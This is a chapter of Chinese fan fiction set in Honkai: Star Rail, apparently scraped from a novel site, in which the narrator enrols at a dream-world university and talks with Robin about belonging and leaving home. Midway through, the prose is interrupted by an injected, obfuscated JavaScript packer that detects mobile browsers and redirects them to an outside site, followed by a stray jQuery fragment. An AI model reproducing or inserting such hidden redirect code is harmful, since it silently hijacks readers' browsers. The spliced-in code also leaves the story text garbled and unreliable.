38.在天平上

作品:《[崩铁]宇宙漫游日志

    将介绍信和邀请信一起交给阿图罗先生,对方只打开扫了一眼,开始询问我另一件事:“您已经具备了博士学会颁发的学位证明,为什么还要来折纸大学呢?”


    “这个问题我很难回答,您可以理解为对梦境学院的向往,或者是对同谐谐乐的追寻。”


    “……”


    “人永远都在成为更好的人路上,来到匹诺康尼,开启一种崭新的生活,归根到底是在走向未来更好的我。”


    阿图罗沉默良久:“和介绍信里的形容相比,你的话多了很多。”


    “?”


    “不要在意,问答作为必要的流程已经结束,下面属于私人交谈时间。在问那个问题时,我以为你只会回答学无止境四个字。”


    “过于概括了。”


    “当然,毕竟根据资料你一向不多话,也没有现在这么多丰富的表情。”


    我不觉得现在自己脸部肌肉有细小的位移,他纯粹在胡说八道。


    “抱歉,说错了,我指眼神。”


    “听得出来。”其实不能。


    “那就好,交流就此结束吧,请随意。这边,知更鸟女士?”


    知更鸟站起来:“请不要在意阿图罗先生,我是陪阮琴心女士来的。”


    “这样,那么恕我不能继续对话,如你所见,公务还有很多。”


    “当然。”我们离开了校长室。


    “你叫知更鸟?”路上,我这样问走在身侧的女孩。


    “你的行李没问题吗?真的不需要我帮忙?”


    “我已经拒绝过一次了,那不是客套。”


    她沉吟片刻:“似乎,我们刚刚一直没有交换姓名。”


    “现在知道也不晚。”


    她微微一笑:“当然。”


    接下来,我们走遍折纸大学的各个办公室,顺利办完了手续。


    虽然每位来到匹诺康尼的客人在现实和梦境都各拥有一间房间,但梦境里的大学还是为我提供了休息场所,用更通俗易懂的语言解释,那个地方叫宿舍。


    标着门牌的钥匙递给我,没有看上面写的什么,我将它放进口袋,又回到知更鸟身侧。


    她在和人发消息,眉头微皱而不自知。贸然开口也许会打扰到她的思绪,因此想站到一旁。


    可她十分敏锐,几乎在我靠近时便收起终端抬头望来,依旧是用平常的、轻盈的、温柔的目光。


    “……”


    人是会很轻易暴露某些东西的存在,有时在抬眼的一个细节,有时是点动终端的习惯,或者可以从行走落座的姿态窥探细节。


    而这些,我在她身上读到的信息有限。承认这点并不令我感到挫败,我只觉得有趣。


    比起探究事情,我更乐意去接近人。无论心灵丰盈或枯燥,都是一种美丽。


    当看到她从专注中抽离抬眼望来仍如平常,我后知后觉,原来如此,目前为止她不会给予我任何真正的接近。


    她比我想象的更加谨慎警惕。


    这是一种习惯,也许养成于日常生活,也许因其他事造成。


    但那其实不太重要。


    因为即便如此,独自出门远离护卫和监护人,她也对一个素昧平生可能是坏蛋的陌生人伸出了援手。


    是确信自己具备解脱的力量?


    不,她没有战斗能力。


    是坚信梦境没有危险?


    也许。


    抑或坚定认为护卫和监护人无论发生什么都能找到她?


    不,她相信,但她也知道危险中发生任何事都有可能。


    我确信她是和我身处完全不同世界的存在,但仅仅因为差异就放弃交流的可能,我无法做到。


    我想看着她,因为我想知道她会带来什么样的可能。


    未知,令人着迷。


    “阮琴心女士。”


    “在忙?”


    “没有,刚刚发了个消息。结束了吗?”


    我向她展示证件,她仔细看了看,对比着我现在的脸:“感觉,现在的你好像更年轻一些。”


    “听说宇宙中有些种族是倒着生长的,先经历壮年,再到幼年,直至变成一粒微粒尘埃。”


    “没有老年吗?”


    “不太清楚,毕竟我没有亲眼见过,也没有观测过他们种族的生命。”


    她笑:“我以为你接下来会说自己是那个种族。”


    “这样我就有现成的素材观察了。”


    “你的回答还是那么、有趣。”


    “我姑且认为这是夸奖。”


    “本来就是夸奖的。”知更鸟转身看着略显空荡的校园:“和最开始比,这里空荡了许多。”


    “梦境不止有校园,来到匹诺康尼是难得的体验,可能在其他地方。”


    “你想在校园里走走吗?”


    不是在梦境中,不是在匹诺康尼,而是在校园里。


    她要等的人快到了,而且他们约定的地点就在折纸大学。


    我为什么知道?


    首先强调,我没有偷看别人终端的爱好,她时不时看一眼表,却显得并不着急,也没有急切摆脱我这个累赘,大概是可以随时变更地点等人的这种事。


    这是不负责的猜测,还有其他可能,但我更倾向于这个答案。


    因为初见之前,她在一颗树下站了许久。后面发了消息,才决定陪我去校长室。


    按理来说,我应该识趣一点儿,别太占用别人的时间。


    但我看向她的眼睛,那不曾透露任何讯息的眼神,我又会想,她是否真的需要我的这点儿识趣?


    孤独,我只是想的这个词就感到一丝难言的苦涩。


    我无法主动提到分别。


    大概是因为我习惯以己度人。


    太糟糕了。


    “……西南角的大教室能容纳一千人一起上课,学生们闲暇之余喜欢在中央舞池放松,如果想要看更美丽的风景,可以去谐乐学院教学楼顶层,那里能看到一整个时刻。”


    她弯了弯眼:“比起体验活动,你似乎更喜欢看风景。”


    “我偶尔会觉得活动喧闹,但风景,无论何时带来的震撼都是相通的。”


    “我们生来便在人群中成长。阮琴心小姐,你觉得人群喧闹,是因为什么呢?”


    “很难说明。人倾向于集群,犹如洞穴里的幼兽,这是人类生命的形态,是本能,是构成文明的所有组成共同的决定。但我想,有思想的生命并不时刻准备着被集群审视它的思想,因此才有对独处和宁静的追求。”


    “你说的……”


    “片面之词,甚至不包括任何有道理的哲思,当做无稽之谈吧。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369938|181367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    知更鸟摇头:“我觉得、你真的在这样想。”


    “……”


    “鸟兽无法离开族群,她的羽毛经历故土每一丝微风的洗礼啄饮故乡的水,栖息一同成长的树。她无法离开,可真的无法离开吗?她为什么无法离开呢?”


    我觉得,她和我说的不是同一个话题。


    没有任何关系,如果我们不谈论一些令自己感到困惑的问题,我们能谈什么?


    “你其实知道答案。”知更鸟看向我,她的眼神清澈,不存在任何被掩饰的虚假,但我没有去看这双眼睛,而是说:“它并非因为无法展翅而不能离开,而是因为眷恋而踯躅吧。”


    我说:“答案在发问者的心中,她暂时仍在忽视。”


    水、风、光,自然的一切与社会的一切组成眷恋的生活,那几乎是生命的一部分,就算已有决定,也无法轻易割舍。


    我放下行李箱,走到大楼边缘。


    “小心。”


    “不会掉下去的。”伸手触摸必然无法接触到的天空,我转过身,回望这位仅仅认识半天的天环族少女:“可谁说过,展翅高飞,意味着永离故乡?”


    人们该有自己的追求,因为有思想的生命注定在意识到自我途中走向追寻生命价值的路。


    或主动、或被动。也许误入歧途,也许半途夭折,而路是不变的,走向其他方向,只是因为连接我们的,并非只有一条道路。


    有些答案与我们的追求其实并不矛盾,我们只是选择了轻重的偏向,天平不再平衡,重的转为清高高抬起,而原本轻的那头沉沉压下。


    变化让我们觉得违和,其实这只是一种错觉。


    因为从始至终,他们都在天平之上。


    “阮琴心小姐?”


    “换个称呼吧,太过疏离了。”


    知更鸟莞尔:“其实我们刚刚认识。”


    “这点不在考虑范围之内。现在几点,你等的人到了吗?”


    “快到了。”她望向远处,尽管匹诺康尼的天空是梦境的天空,但对于真实存在于梦境的人,那何尝不是一种真实?


    等等,真实?


    我不动声色,趁知更鸟注意力没在我身上,偷偷掐了一下自己。


    嘶,好痛。


    匹诺康尼梦境还原人们现实里的感知,并非寻常梦里的不会痛,我知道这点。


    刚刚那么做,只是为了确认一件事。


    我的感官似乎更敏锐了。


    在我思考变化出现的原因同时,知更鸟突然说她该走了。


    “很抱歉占用了你很对时间。”


    “这句话该我来说。你要从左边下去吗?”


    “是的。”


    “小心楼梯。”


    “我会注意。”她走了两步,突然回头看向身后站在原地的我。


    “落下什么东西了吗?”


    “没有,只是忘记说了。”她笑着招手:“下次见。”


    我回应。


    此时,我们尚不可得知,这个再见只用了片刻,它甚至没有超过一个系统时。


    与知更鸟告别后,用完餐的我第一次来到了宿舍,与两个长相无比相似的人六目相对。


    “阮小姐?”


    “……”未免有些太巧了。


    “妹妹,这位女士是?”